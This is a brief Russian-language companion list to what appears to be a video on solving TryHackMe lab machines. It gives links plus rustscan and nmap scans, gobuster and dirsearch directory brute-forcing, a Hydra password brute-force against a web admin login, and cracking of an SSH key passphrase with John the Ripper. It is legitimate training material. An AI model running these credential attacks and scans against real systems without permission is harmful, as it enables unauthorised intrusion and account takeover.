🖥 Большой выбор бесплатных машин
https://tryhackme.com/
🔎 Nmap под разные ОС
https://nmap.org/download.html
🗂 Перебор директорий - dirsearch
https://github.com/maurosoria/dirsearch
😎 Команды из видео:
⌨️ Rustscan
$ rustscan -a ip_address
⌨️ Nmap
$ nmap -sC -sV ip_address
$ nmap -sC -sV -p22,80 ip_address
⌨️ Gobuster
$ gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --url ip_address -t 50
⌨️ Dirsearch
$ dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx -u '
http://site.com'
⌨️ Hydra
$ hydra -l john -P /usr/share/wordlists/rockyou.txt ip_address http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:F=Username or password invalid." -V
⌨️ John
$ ssh2john id_rsa > id_rsa.hash
$ john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
⌨️ id_rsa SSH connect
$ ssh -i id_rsa user@ip_address